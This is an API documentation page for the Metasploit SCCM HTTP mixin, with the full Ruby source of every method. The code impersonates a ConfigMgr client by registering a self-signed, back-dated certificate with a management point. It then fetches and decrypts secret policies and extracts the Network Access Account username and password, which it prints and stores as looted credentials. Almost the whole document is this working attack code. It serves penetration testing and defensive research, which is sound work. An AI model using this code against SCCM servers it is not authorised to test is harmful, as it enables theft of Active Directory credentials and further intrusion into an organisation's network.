Module: Msf::Exploit::Remote::HTTP::SCCM
- Defined in:
- lib/msf/core/exploit/remote/http/sccm.rb
Overview
This module provides a way of interacting with SCCM servers
Constant Summary collapse
- KEY_SIZE =
2048
- SECRET_POLICY_FLAG =
4
Instance Attribute Summary
Attributes included from Msf::Exploit::Remote::HttpClient
Instance Method Summary collapse
- #deobfuscate_policy_value(value) ⇒ Object
-
#generate_key_and_cert(subject) ⇒ Object
Create a self-signed private key and certificate for our computer registration.
-
#get_creds_from_policy_doc(policy) ⇒ Object
Extract obfuscated credentials from the resulting policy XML document.
- #get_naa_credentials(opts, management_point, site_code, computer_user) ⇒ Object
- #get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) ⇒ Object
-
#make_ms_pubkey(pub_key) ⇒ Object
Make a pubkey structure (learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb).
- #mscrypt_derive_key_sha1(secret) ⇒ Object
-
#register_request(http_opts, management_point, key, cert, computer_user) ⇒ Object
Make a request to the SCCM server to register our computer.
- #report_creds(ip_address, user, password) ⇒ Object
-
#request_policy(http_opts, policy_url, sms_id, key) ⇒ Object
Request the policy from the policy_url.
-
#rsa_sign(key, data) ⇒ Object
Sign the data using the RSA key, and reverse it (strange, but it’s what’s required).
Methods included from Msf::Exploit::Remote::HttpClient
#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #sslkeylogfile, #strip_tags, #target_uri, #validate_fingerprint, #vhost
Methods included from Auxiliary::LoginScanner
Methods included from Auxiliary::Report
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
Methods included from Metasploit::Framework::Require
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
Methods included from Msf::Exploit::Retry
Instance Method Details
#deobfuscate_policy_value(value) ⇒ Object
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 290 def deobfuscate_policy_value(value) value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*') data_length = value[52..55].unpack('I')[0] buffer = value[64..64 + data_length - 1] key = mscrypt_derive_key_sha1(value[4..43]) iv = "\x00" * 8 cipher = OpenSSL::Cipher.new('des-ede3-cbc') cipher.decrypt cipher.iv = iv cipher.key = key result = cipher.update(buffer) + cipher.final result.force_encoding('utf-16le').encode('utf-8') end |
#generate_key_and_cert(subject) ⇒ Object
Create a self-signed private key and certificate for our computer registration
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 330 def generate_key_and_cert(subject) key = OpenSSL::PKey::RSA.new(KEY_SIZE) cert = OpenSSL::X509::Certificate.new cert.version = 2 cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF) cert.public_key = key.public_key cert.issuer = OpenSSL::X509::Name.new([['CN', subject]]) cert.subject = OpenSSL::X509::Name.new([['CN', subject]]) yr = 24 * 3600 * 365 cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr) cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr)) ef = OpenSSL::X509::ExtensionFactory.new ef.subject_certificate = cert ef.issuer_certificate = cert cert.extensions = [ ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'), ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'), ] cert.sign(key, OpenSSL::Digest.new('SHA256')) [key, cert] end |
#get_creds_from_policy_doc(policy) ⇒ Object
Extract obfuscated credentials from the resulting policy XML document
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 269 def get_creds_from_policy_doc(policy) xml_doc = Nokogiri::XML(policy) naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") results = [] naa_sections.each do |section| username = section.xpath("property[@name='NetworkAccessUsername']/value").text username = deobfuscate_policy_value(username) username.delete_suffix!("\x00") password = section.xpath("property[@name='NetworkAccessPassword']/value").text password = deobfuscate_policy_value(password) password.delete_suffix!("\x00") unless username.blank? && password.blank? # Deleted credentials seem to result in just an empty value for username and password results.append([username, password]) end end results end |
#get_naa_credentials(opts, management_point, site_code, computer_user) ⇒ Object
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 20 def get_naa_credentials(opts, management_point, site_code, computer_user) key, cert = generate_key_and_cert('ConfigMgr Client') http_opts = opts.merge({ 'rhost' => management_point, 'rport' => 80, 'headers' => { 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', 'Accept-Encoding' => 'gzip, deflate', 'Accept' => '*/*' } }) sms_id, ip_address = register_request(http_opts, management_point, key, cert, computer_user) secret_urls = retry_until_truthy(timeout: 30) { get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) } all_results = Set.new secret_urls.each do |url| decrypted_policy = request_policy(http_opts, url, sms_id, key) results = get_creds_from_policy_doc(decrypted_policy) all_results.merge(results) end if all_results.empty? print_status('No NAA credentials configured') end all_results.each do |username, password| report_creds(ip_address, username, password) print_good("Found valid NAA credentials: #{username}:#{password}") end rescue SocketError => e fail_with(Msf::Module::Failure::Unreachable, e.) end |
#get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) ⇒ Object
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 54 def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id, computer_user) fqdn = "#{computer_user}.#{datastore['DOMAIN']}" hex_pub_key = make_ms_pubkey(cert.public_key) guid = SecureRandom.uuid.upcase sent_time = Time.now.utc.iso8601 sccm_host = management_point.downcase request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00" request_assignments.encode!('utf-16le') body_length = request_assignments.bytes.length request_assignments = request_assignments.bytes.pack('C*') + "\r\n" compressed = Rex::Text.zlib_deflate(request_assignments) payload_signature = rsa_sign(key, compressed) client_id = "GUID:{#{sms_id.upcase}}\x00" client_ids_signature = rsa_sign(key, client_id.encode('utf-16le')) header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>" = Rex::MIME::Message.new .bound = 'aAbBcCdDv1234567890VxXyYzZ' .add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) .add_part(compressed, 'application/octet-stream', 'binary') opts = http_opts.merge({ 'uri' => '/ccm_system/request', 'method' => 'CCM_POST', 'data' => .to_s }) opts['headers'] = opts['headers'].merge({ 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' }) http_response = send_request_raw(opts) response = Rex::MIME::Message.new(http_response.to_s) return nil unless response.parts[1]&.content compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) policies = xml_doc.xpath('//Policy') secret_policies = policies.select do |policy| flags = policy.attributes['PolicyFlags'] next if flags.nil? flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG end urls = secret_policies.map do |policy| policy.xpath('PolicyLocation/text()').text end urls = urls.reject(&:blank?) urls.each do |url| print_status("Found policy containing secrets: #{url}") end urls end |
#make_ms_pubkey(pub_key) ⇒ Object
Make a pubkey structure (learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 260 def make_ms_pubkey(pub_key) result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31" result += [KEY_SIZE, pub_key.e].pack('II') result += [pub_key.n.to_s(16)].pack('H*') result.unpack('H*')[0] end |
#mscrypt_derive_key_sha1(secret) ⇒ Object
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 305 def mscrypt_derive_key_sha1(secret) buf1 = [0x36] * 64 buf2 = [0x5C] * 64 digest = OpenSSL::Digest.new('SHA1') hash = digest.digest(secret).bytes hash.each_with_index do |byte, i| buf1[i] ^= byte buf2[i] ^= byte end buf1 = buf1.pack('C*') buf2 = buf2.pack('C*') digest = OpenSSL::Digest.new('SHA1') hash1 = digest.digest(buf1) digest = OpenSSL::Digest.new('SHA1') hash2 = digest.digest(buf2) hash1 + hash2[0..3] end |
#register_request(http_opts, management_point, key, cert, computer_user) ⇒ Object
Make a request to the SCCM server to register our computer
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 113 def register_request(http_opts, management_point, key, cert, computer_user) pub_key = cert.to_der.unpack('H*')[0].upcase fqdn = "#{computer_user}.#{datastore['DOMAIN']}" sent_time = Time.now.utc.iso8601 registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>" signature = rsa_sign(key, registration_request_data.encode('utf-16le')) registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00" rr_utf16 = '' rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*') body_length = rr_utf16.length rr_utf16 << "\r\n" header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>" = Rex::MIME::Message.new .bound = 'aAbBcCdDv1234567890VxXyYzZ' .add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) .add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary') opts = http_opts.merge({ 'uri' => '/ccm_system_windowsauth/request', 'method' => 'CCM_POST', 'data' => .to_s }) opts['headers'] = opts['headers'].merge({ 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' }) http_response = send_request_raw(opts) if http_response.nil? fail_with(Msf::Module::Failure::Unreachable, 'No response from server') end ip_address = http_response.peerinfo['addr'] response = Rex::MIME::Message.new(http_response.to_s) if response.parts.empty? html_doc = Nokogiri::HTML(http_response.to_s) error = html_doc.xpath('//title').text if error.blank? error = 'Bad response from server' dlog('Response from server:') dlog(http_response.to_s) end fail_with(Msf::Module::Failure::UnexpectedReply, error) end response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') if sms_id.nil? approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value if approval == '-1' fail_with(Msf::Module::Failure::UnexpectedReply, 'Client registration not approved by SCCM server') end fail_with(Msf::Module::Failure::UnexpectedReply, 'Did not retrieve SMS ID') end print_status("Got SMS ID: #{sms_id}") [sms_id, ip_address] end |
#report_creds(ip_address, user, password) ⇒ Object
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 353 def report_creds(ip_address, user, password) service_data = { address: ip_address, port: rport, protocol: 'tcp', service_name: 'sccm', workspace_id: myworkspace_id } domain, account = user.split(/\\/) credential_data = { origin_type: :service, module_fullname: fullname, username: account, private_data: password, private_type: :password, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: domain } credential_core = create_credential(credential_data.merge(service_data)) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } create_credential_login(login_data.merge(service_data)) end |
#request_policy(http_opts, policy_url, sms_id, key) ⇒ Object
Request the policy from the policy_url
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 179 def request_policy(http_opts, policy_url, sms_id, key) policy_url.gsub!(%r{^https?://<mp>}, '') policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') now = Time.now.utc.iso8601 client_token = "GUID:#{sms_id};#{now};2" client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*')) opts = http_opts.merge({ 'uri' => policy_url, 'method' => 'GET' }) opts['headers'] = opts['headers'].merge({ 'ClientToken' => client_token, 'ClientTokenSignature' => client_signature }) http_response = send_request_raw(opts) http_response.gzip_decode! ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body) cms_envelope = ci.enveloped_data ri = cms_envelope[:recipient_infos] if ri.value.empty? fail_with(Msf::Module::Failure::UnexpectedReply, 'No recipient infos provided') end if ri[0][:ktri].nil? fail_with(Msf::Module::Failure::UnexpectedReply, 'KeyTransRecipientInfo not found') end body = cms_envelope[:encrypted_content_info][:encrypted_content].value key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value decrypted_key = key.private_decrypt(encrypted_rsa_key) elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) else fail_with(Msf::Module::Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") end cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] algorithms = { Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' }, Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' } } if algorithms.include?(cea[:algorithm].value) alg_hash = algorithms[cea[:algorithm].value] if decrypted_key.length != alg_hash[:key_length] fail_with(Msf::Module::Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}") end iv = RASN1::Types::OctetString.new iv.parse!(cea[:parameters].value) if iv.value.length != alg_hash[:iv_length] fail_with(Msf::Module::Failure::UnexpectedReply, "Bad IV length: #{iv.length}") end cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name]) cipher.decrypt cipher.key = decrypted_key cipher.iv = iv.value decrypted = cipher.update(body) + cipher.final else fail_with(Msf::Module::Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}") end decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end |
#rsa_sign(key, data) ⇒ Object
Sign the data using the RSA key, and reverse it (strange, but it’s what’s required)
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# File 'lib/msf/core/exploit/remote/http/sccm.rb', line 252 def rsa_sign(key, data) signature = key.sign(OpenSSL::Digest.new('SHA256'), data) signature.reverse! signature.unpack('H*')[0].upcase end |